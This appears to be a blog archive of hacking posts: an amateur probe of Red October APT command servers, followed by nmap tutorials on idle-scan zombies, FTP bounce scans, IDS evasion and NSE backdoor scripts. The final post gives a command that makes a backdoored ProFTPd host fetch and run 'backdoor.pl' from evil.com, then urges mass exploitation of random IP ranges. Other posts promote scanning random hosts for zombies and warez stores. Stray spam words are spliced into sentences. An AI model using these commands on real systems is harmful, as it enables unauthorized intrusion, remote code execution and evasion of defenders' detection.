The Hunt For Red October

The Hunt For Red October – The Job So Far

Today, Kaspersky Labs released a report on a long running advanced persistent threat* (APT) they had uncovered, revealing a long running cyber-espionage campaign targeting a broad and diverse mixture of both countries and sectors. As usual the fingers were pointed at China (Chinese exploit chains, Chinese hosts used…), however, there was also some evidence to implicate Russian involvement, which was speculated to be a “False Flag” attempt.

An associate of mine, after reading the report, came up with a SHODAN dork rather quickly to identify the C&C hosts.

http://www.shodanhq.com/search?q=Last-Modified%3A+%27Tue%2C+21+Feb+2012+09%3A00%3A41+GMT%27+Apache

After a few seconds, he realized that the etag header on all of them was the same, leading to the following query:

http://www.shodanhq.com/?q=8c0bf6-ba-4b975a53906e4

SO, Fingerprinting information: just check for etag = 8c0bf6-ba-4b975a53906e4 :)

The “offending IP’s” are as follows. These are used as proxies it appears.
31.41.45.119
37.235.54.48
188.40.19.244
141.101.239.225
46.30.41.112
188.72.218.213
31.41.45.9

So, we now have a list of 7 C&C hosts. Time to break out nmap and see what they are doing.

The following scan string was used for an initial scan of all the hosts.

sudo nmap -sSUV -A -O -vvv 3 -oA huntingredoctober 31.41.45.119 37.235.54.48 188.40.19.244 141.101.239.225 46.30.41.112 188.72.218.213 31.41.45.9

The tarball of report files is available here: huntingredoctober.tar

The hosts identified as alive are as follows:
37.235.54.48
188.40.19.244
31.41.45.119

The other four were not responsive, probably taken down already. No fun.

Once I had identified which hosts were, infact, still alive (while the rest of the bloody slow scan was running), I decided to see what lay behind the scenes on these hosts, doing the “daft” thing of connecting to port 80 using my web browser. The clench factor was rather intense as I half expected to be owned by about half a dozen super 0day exploits on crack while doing so. instead, I was redirected harmlessly to the BBC.

The following HTML code was responsible for this redirect, which I thought was an incredibly clever way to hide their true purpose.

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>BBC – Homepage</title>
<meta http-equiv=”REFRESH” content=”0;url=http://www.bbc.com/”></HEAD>
</HTML>

Back to the nmap scan (it had FINALLY completed), the following was very interesting.

PORT    STATE         SERVICE     VERSION
80/tcp  open          http?
|_http-title: BBC – Homepage
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
138/udp open|filtered netbios-dgm
520/udp filtered      route

All of the servers looked like this. They all had those three ports – 80, 138, 520, open or filtered. The rest were all closed. The 188.40.19.244 host began sending me RST packets midway through my scan, but regardless, the work went on. I decided I was going to look at the webserver from informations kaspersky published.

Sending GET requests to the /cgi-bin/ms/check CGI script produced a 500 internal server error, as did other CGI scripts. This was interesting in that they told me to email eaxample@example.com about it. I did so immediately, being a good netizen. Note the mispelling of example – “eaxample”.

Being Nice

Emailing the big heckers. The email delivered

Apparently the mail was delivered successfully, so I hope they reply soon with an explanation.

On to more serious things, another analyst working with me uncovered another interesting thing.

He went and did the following:
printf “POST /cgi-bin/nt/th HTTP/1.1\r\nHost: 37.235.54.48\r\nContent-Length: 10000\r\n\r\n%s” `perl -e ‘print “A”x(20000)’` | torsocks nc 37.235.54.48 80

Now, he had figured out the page would 500, unless a content length was set. So, he set a long Content Length, and sent an even longer POST request.
The result was nothing short of fascinating.

HTTP/1.1 200 OK
Date: Mon, 14 Jan 2013 19:18:07 GMT
Server: Apache
Content-length: 0
Content-Type: text/html

HTTP/1.1 414 Request-URI Too Large
Date: Mon, 14 Jan 2013 19:18:08 GMT
Server: Apache
Content-Length: 250
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>414 Request-URI Too Large</title>
</head><body>
<h1>Request-URI Too Large</h1>
<p>The requested URL’s length exceeds the capacity
limit for this server.<br />
</p>
</body></html>

“Look mom! Two headers!”. Seriously, this is interesting. First it gives a 200 OK, then a second later something else says “LOL, NO”. The delay makes us think the proxy is saying “OK”, then the real C&C is complaining. The fact it complains about a request URL, and the length being in the POST request, makes me think the final data-to-C&C might be sent as a GET. Just a theory.

— TO BE CONTINUED —

// This post suffered a bad case of myself and fellow researchers having a lulz about it, and my cat straying onto my keyboard. It is a work in progress.

— Continuing the hunt —

Today we retrieved new intelligence (or rather, last night, but I could not act on this intel) from HD Moore of Metasploit project that more C&C servers had been located. The following link is the list of IP addresses.

http://pastie.org/private/ytbrfmqpn8alfjfrnbhcbw

So, it was decided (once the cat had gotten the hell off my keyboard) to investigate this list.
@craiu provided us with the tip “check out “1c824e-ba-4bcd8c8b36340″ and “186-1333538825000″ too.”, so we will act upon this later.

I decided, seeing as my internet went down for a while, to test out my Python skillz, and whipped up a quick program I named “SONAR”, which simply attempted a TCP connection to port 80 on the suspected C&C servers and logged responsive ones to a file. Source code attached.
sonar.tar

Sonar…

I could have used nmap, but that would have been unimaginative and, frankly, no fun. And who says hunting cyber-spies (So much worse than normal spies, ‘cos they got the dreaded CYBER in there) is not supposed to be bloody fun anyway, not me for certain!

We quickly reduced the list to a “lot less than we had”, and I queued them up for nmap scanning, which has yet to be done, as the sysadmins on the network I am using do not like when I portscan things for some odd reason. Or when I use SSH, or email.

Anyway, I digress.

So far, more C&C servers had been identified, and more “Fingerprinting” methods had been developed. I am considering writing a patch to sonar.py to dump out the etag data along with working IP’s, but that can wait til later. A simple HTTP GET / should do the trick, with a few regex’s.

We also obtained a list of MD5 hashes from malware.lu showing samples of Red October they have in their repo – see here -> http://pastebin.com/7zayMrKt so those were queued up for downloading (once on a non monitored by college network) for some analysis using IDA. That is to be tonight’s job – a quick and dirty first pass run of analysing these things.

* For the record, I think APT is another FUD term… But oh well, it has become “a thing”.

Nmap – Locating Idle Scan Zombies and FTP Bounce Servers

So, ambulance having read my previous posts on Idle Scanning and FTP Bounce, you may be interested in finding useable boxes.

Now, as I suggested, you could scan for printers or other embedded devices, they make fucking AMAZING Idle Scan hosts. However, there is an nmap script here which is excellent for checking a host to see is it useable, by checking how its IPID sequence works.

Meet ipidseq.nse

ipidseq.nse is basically a test script, that tells you if you can use a host for Idle Scans. So, assuming you want a fair few zombies, lets scan 1000 hosts in the hope of finding a few good ones!

root@bha:~# nmap -iR 1000 —script ipidseq -T5 -v -oA zombies

The above scan will scan 1000 random IP addresses using the ipidseq script, testing them to see are they useable as zombies. I am using T5 here as scanning ranges slowly is BORING :P

The -oA zombies will create three “Output Files”. zombies.xml (XML format of scan), zombies.nmap (normal output), and a third “grepable” version – zombies.gnmap. You can then extract the useable hosts from said list using grep or similar, or just scroll through, copy, paste, like myself…

“So we found us some Zombies. What about those Bouncy FTP servers then?”

Well, nmap again has the solution to this problem. The ftp-bounce.nse script. We will use it in a very similar manner to the ipidseq script…

root@bha:~# nmap -iR 1000 —script ftp-bounce -T5 -v -oA bouncyFTP

This does the same as above, except instead it outputs lists of FTP servers we can “Bounce” via! Useful, no?

BONUS ROUND! Finding Anonymous FTP Servers for stashin’ yo’ warez!

So. Say you want to store/share a bunch of files and need some storage, or just like rummaging through open FTP servers (likely in search of other peoples warez and such… Never know, might find someones super secret 0day stash!).

How do we go about doing such a thing? Well, Guess what? nmap, yet again, solves this problem with the ftp-anon script.

Now, as above, you simply use it like so…

root@bha:~# nmap —script ftp-anon -T5 -iR 1000 -v -oA ftpAnon

Remember – with these you can always scan actual *ranges* instead of my “scan 1000 random hosts” idea, and this is VERY useful for auditing internal networks! Or some specific target networks… I know some web hosting firms may be VERY interested in scanning their own ranges for anonymous FTP setups to detect illegal piracy and such!

Remember, ask before you scan!

Nmap – FTP Bounce Scans

In part One and Two of this series I described various methods of evading IDS/IPS/Firewalls, sick and general methods of evading detection when port scanning your targets using nmap.
In this instalment I hope to give an overview of the technique called the “FTP Bounce” Scan technique, and various “interesting” uses I have had for it…
This, along with my other nmap articles, is all kind of my notes for the wiki article over at http://blackhatacademy.org – reopening soon – with lots of shiny new content and awesome stuff!

So, how does FTP Bounce work?
Well, the File Transfer Protocol, according to its RFC (RFC 959 according to nmap man pages), has a feature called the PORT command (now I may be messing up, but I THINK this is the command. Ping me if I am wrong :3 ). Basically it allows proxy FTP connections, where I can ask the FTP server I am connected to to send a file to a host/port I specify. Obviously, in order to send a file to another host/port, it has to CONNECT to said host/port. So, we can use this to get the FTP server to check is said host/port open… Seeing what I am getting at here?

We can make an arbritary FTP server port scan another server for us (IF said FTP server supports this “feature”… Which, according to nmaps man pages, many do not anymore… but still!).

Now, most of us are likely thinking “Right, so I an make random FTP servers act as “drones” during my port scans… AWESOME!”. Yes, yes you can. This puts another “hop” between you and your victim, meaning it is a shitload harder to trace it back to you! Using standard methods like -T0 and such are recommended here, to make things even sneaker. As the FTP server is not DESIGNED to be a port scanner, it is not exactly going to be stealthy… So we kind of have to rely on timing. Need I say this is TCP ports only also?

Now for the super fun part. Now the following idea, I thought was fairly original when I came up with it while walking my dog. However, upon reading the man pages for nmap (and you wondered why I was sleep deprived? I STILL AM!) I realized Fyodor had gotten there first. Years ago. Feck.
However, it is still a cool trick… So I will outline it.

Say you are scanning company.tld, and have found a FTP server on their network, but the rest of the bloody network is firewalled off. You wish to scan the inside of their network. So, you somehow have gained credentials to their FTP server (or it supports anonymous logins), and you are still wondering how to use this to scan out the insides.
FTP BOUNCE!
Use the external FTP server as your bounce host, and ask it to scan various inside-network ranges (just use the default 10.x, 192.168.x, etc) for you until you figure out which addressing scheme they use. Then ask it to scan the whole bloody network for you! Now, you have mapped out their internal networks by simply leveraging the FTP Bounce bug in their FTP server! Awesome, no?

Using FTP Bounce (Assuming you have a vulnerable FTP that allows this, see the ftp-bounce NSE script for checking FTP servers…)

root@bha:~# nmap -T0 -b username:password@ftpserver.tld:21 victim.tld

This uses the username “username”, the password “password”, the FTP server “ftpserver.tld” and port 21 on said server to scan victim.tld.
If the FTP server supports anonymous logins, just forget about the username:password@ part and nmap will assume it allows-anonymous. You may omit :21 if the FTP port is 21, however, some people configure FTP on wierd ports as an attempt at “security”.

So, thought up of any “fun” uses for the FTP bounce scan technique? Tell us about them! And keep an eye out for the finished Wiki article over at http://blackhatacademy.org (if I ever finish it, that is :P )

// Yay! Still importing content with great success!

Nmap – Idle Scan

So, for sale in part one 1 I briefly described several of nmaps IDS/IPS/Firewall evasion techniques, and in this installment (a brief one) I hope to quickly go over another amazing technique: The Idle Scan. This is also kind of a rough article to add to the nmap wiki page on http://blackhatacademy.org , pharmacy which is reopening sometime soon with LOADS of AWESOME new content!

Idle scanning is an INCREDIBLY sneaky scan technique which nmap can implement. The awesome thing about idle scan is that it allows you to scan a host WITHOUT EVER SENDING PACKETS TO IT.

How this works is actually fairly simple, though I must admit it was pretty friggin mind-bending the first time I looked into it. Please note: Idle scans MAY still set off the victims IDS, so I advise -T0 with this, and a hell of a lot of patience. However, seeing as you are not really touching the victim at all (well, the packets don’t seem to come from you, ever) it is fairly safe method.

So, how DOES it work?
Well, I must admit: I am NO expert on TCP/IP – I know a bit, but still have a lot to learn. But, essentially, it uses the IPID field in IP packets. In a basic sense, you find a host that is “idle” – i.e. little to no traffic coming to/from it, and that is your “zombie host”. All scanning activities will APPEAR to be coming from this host.

You send your scan packets TO the victim host (yes, you can use all the fragmentation and such I discussed earlier here, just I do not think traditional decoy’s work – I will have to check this though), pretending to be the zombie host.
Before you send a packet to the target, you send one to the zombie, to get its current IPID.

Now for the cool part. When a box recieves a RST, its IPID does NOT increment/change as RST packets are not replied to (assuming the zombie host is one with a predictable IPID sequence – a lot of boxes just increment by one. Hint from ohdae – Printers!).
HOWEVER, when a host receives a SYN-ACK, its IPID DOES change.

So. When your scan hits an OPEN port on the victim, it replies with a SYN-ACK to the Zombie host. This causes the zombie’s IPID to increment, and when you re-probe the zombie host, its IPID will have incremented.
When you hit a CLOSED port on victim, it sends a RST to Zombie, and… Zombie’s IPID does NOT increment. So, by slowly probing Zombie immediately before + after sending packets to the Victim, you can INDIRECTLY find out what ports on the Victim are open…

Caveat: This scan does have some inherent “fudge factor” and inaccuracy, but by repeating the test a bunch of times you can solve this problem. nmap also seems to have some kind of “magic” that helps here…

For more information on idlescan in nmap: http://nmap.org/book/idlescan.html

Nmap’s man pages make a PARTICULARLY interesting point: What if, you use Zombie(s) that you think might be considered “trusted hosts” by the victim? This is a VERY interesting way of navigating firewalls and such… Think it over…
(Pointer: Say the victims have an exposed network printer that you KNOW is on their internal network. How about zombie scanning their intranet from the outside due to this misconfiguration? Shit like this is why guys like me look like friggin ninjas sometimes (also, yes, I am currently in a state of sleep deprivation, and exhausted. Cut me some slack :P )…)

ANYWAYS, now to the usage:

root@bha:~# nmap -sI zombie.com:23 -T0 victim.tld

This would scan victim.tld, using zombie.com as its “Zombie Host”, and sending the probes to Zombie on port 23 (note: you do need an open port on the zombie for this… The default is 80)

I was going to write more, but then realized that I have not a lot more to say on this. Except that I will be re-writing it and drawing a diagram for the wiki article on Blackhat Academy. http://blackhatacademy.org

Nmap – Basic IDS/Firewall Evasion Techniques

This post is a snippet from a Wiki article I am writing for http://blackhatacademy.org and is nowhere NEAR like the full thing. Keep an eye on BHA – when they reopen there will be all kinds of badassery available :D

Now this article was designed to show the BASICS of IDS/IPS/Firewall evasion using nmap. Not covering Idle/ACK and other scans yet – this is kind of a crash course into several methods.

Evasion and Stealth Techniques

Decoy Scanning Decoy Scanning is a very simple technique nmap can use for obfusticating the original source IP address of a port scan. Essentially it sends some of the probes from spoofed IP addresses that the user specify, decease in the hopes that they “mask” the users true IP address in the targets log files. Remember – the users IP will still be in the logs!

  • Example usage:
    • root@bha:~# nmap -sS -sV -Dmicrosoft.com,github.com,fbi.gov,nsa.gov,google.com target.tld

This would launch a “Stealth SYN” scan with Version Fingerprinting against “target.tld”, masquerading as microsoft.com, fbi.gov, nsa.gov and google.com. Note how the decoys are used in the string: -D[Decoy1],[Decoy2] – a comma seperated list. This is the correct way to structure your decoy lists.

Now, this tactic has several glaring issues.

The users are most likely on a DSL or Cable line. This means the users IP address is going to stand out like a sore thumb as it resolves to a cable/DSL provider and NOT a large corporate/government network. So, if the user ais going to scan using Decoys, they make sure to use IP addresses from similar “internet demographics” as them. I.E: If scanning from a Cable/DSL connection, a users decoy bounces should also be DSL/Cable connections.

The other issue with Decoy scanning is that if the users Decoy’s are not, in fact, online/up, the user may accidentally hoze their target. One method that has been used with success is to quickly scan a few ranges known to have home/DSL lines on them, and use the ones that are “up” as decoys.

—-

Fragmentation

Some firewalls and IDS systems can be evaded by the correct use of packet fragmentation. Essentially this means “splitting” your packets in an attempt to disguise your traffic. It is a somewhat-decent method when combined with other techniques, however it has been known to slow the scan down somewhat.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV -f target.tld

This would fragment the packets sent to target.tld to some degree, and for finer grained control over the packet fragmentation you may manually set the MTU value using the —mtu <value> arguement. It is advised to experiment with this in order to find optimal settings for your scanning.

The MTU must be a multiple of 8 (i.e. a legitimate MTU value) for this to work. Otherwise nmap will just throw an error and exit.

Essentially this technique hopes that IDS/switches/firewalls will not do a great job of reassembling the packets sent, and allow “evil” packets through the filters where they are reassembled and interpreted/replied to by the target system.

—-

Data Length

Some firewall/IDS systems either log, or block, the packets sent by nmap for obvious reasons. One common way to “signature” nmap packets is the default data length, so in order to bypass filters and evade IDS systems, you can specify your own data length for the packets using the —data-length=<value> arguement.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV —data-length=1337 target.tld

This would scan “target.tld” with packets of “length” 1337. Effectively this technique adds extra “padding” to the packet, making it look less like a scan-packet and more like a legitimate packet.

—-

Timing

NOTE: Timing can be seen as both evasion AND/OR performance related. Staff have no doubt this will cause multiple EDITS so just leave it as-is unless you have a VERY valid reason to edit.

Timing your scans is an excellent way to lower the detection threshold you have. Fast, noisy scans tend to get detected instantly, wheras if the same scan was done incredibly slowly, it has a much smaller chance of detection.

The timing flag works like so: -T<value> where value is 0-5. There are also “key words” you can use like -T aggressive, etc. The key words are paranoid, sneaky, polite, aggressive, insane. They basically do what they say.

  • The following scan string is an example:
    • root@bha:~# nmap -sS -sV -T1 target.tld

This would launch a scan (an incredibly slow one) against target.tld. Remember, slow and sneaky is generally a lot better than loud and fast!

General Evasion Tips:

1. Do several “Scans” of the target. Break your scans up into chunks of “ports of interest”, for example, if you wanted to map out 25 ports on a target server, break them into groups of 5 and scan each group individually with delays between the scans.

2. Layer your source-obfustication techniques. Use both decoys and timing, along with fragmentation, extra “padding”, etc. The more “layers” of hiding the better.
The following scan string is an example:

  • root@bha:~# nmap -Dmicrosoft.com,github.com,fbi.gov,nsa.gov,google.com -sS -sV -T1 -f —mtu=24 —data-length=1227 target.tld
  • The above scan string would use decoys, scan EXTREMELY slowly, fragment the packets, and add padding to them to try make them look more legit.

3. While you should keep your scans slow, you should also keep your “scan time” to a minimum. Break the scan up into several smaller jobs.

Finally, remember: Do not scan any networks you do not own. The information here is so people can see HOW IDS/IPS are evaded for use in pentests or so they can try write IDS/IPS rules to detect these :)

Scanning for Backdoors with the Nmap Scripting Engine

Nmap is not just limited to scanning and host-OS/service version detection and such, drugstore it also features an AWESOME scripting engine (the NSE) which uses LUA for its scripts. I hope to cover many “fun” uses of nmap’s scripting engine over the next while, though this post is going to be a bit… Edgier and more “evil” in a sense. Also VITALLY useful and important for those of you hunting down backdoored boxes!!

Every so often someone pops an open source projects SVN or such, treatment and backdoors the source code. This source code then finds its way onto potentially millions of systems, depending on if/when the breach is detected, or the backdoor is noticed. Sometimes, someone writes an nmap script to scan for such compromised systems, and, god forbid, even exploit them!

We will be showing off the following three scripts in this post, prostate and using it as a primer for using nmap’s scripts. (I will only be giving demo usage of one, the other two are the same and are left to the reader as an exercise.)

ftp-proftpd-backdoor.nse
ftp-vsftpd-backdoor.nse
irc-unrealircd-backdoor.nse

These scripts are intended to locate backdoored installations of ProFTPd, vsFTPd, and UnrealIRCd, respectively.

For the example, we will use: “ftp-proftpd-backdoor.nse”
This script is intended to locate backdoored installations of ProFTPd – OSVDB-ID 69562 – and tests them using the “id” command. Please note, this is regarded as a “remote root” vulnerability and was (And is) actively exploited in the wild.

Basic Usage:
root@bha:~# nmap —script ftp-proftpd-backdoor victim.tld

This simply tests for the vulnerability, using all defaults. Nothing too special, but VERY useful for quickly testing.

Using as an exploit!
This script takes an arguement that allows you to specify a custom command to run on the vulnerable system, which is VERY useful during a penetration test!

root@bha:~# nmap —script ftp-proftpd-backdoor —script-args ftp-proftpd-backdoor.cmd=”wget http://evil.com/backdoor.pl & perl backdoor.pl” victim.tld

Please note the —script-args followed by the arguement (arg=var format) showing what command to run. In this example we have it forcing the vulnerable host to download and run a backdoor. (Yes, another one. This time maybe a reverse shell, or a loader for something like Jynx Rootkit…).

Mass Haxploitation?
Ok. Now for the real blackhats in the audience… Yes, you can scan ranges with this. Just replace target.tld with your standard CIDR range specifier… OR… For those who are less discriminate, the -iR flag and not bothering to specify a target range will simply scan IP’s at random. Further optimizations include the -p21 (only port 21) arguement, the -T5 (Insane scan speed) and -P0 (Don’t waste my time pinging!) arguements…

The other two are similar. To get information on them (an exercise best left to the reader), perhaps the following may be of assistance:

root@bha:~# nmap —script-help ftp-proftpd-backdoor
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-16 00:41 IST

ftp-proftpd-backdoor
Categories: exploit intrusive malware vuln

http://nmap.org/nsedoc/scripts/ftp-proftpd-backdoor.html

Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument.

See? You can ask for help! Just pass the name of the script to nmap, and it will help you out using the nsedoc engine :)

Another challenge that I put out there for any aspiring evil geniuses: How about using all three scripts AT ONCE? Optimized? It CAN be done, and maybe I will write about it.

If you figure out what I am talking about, toss the optimized strings in a comment :)

// I know I posted this on my Tumblr,  yeah, I am migrating content.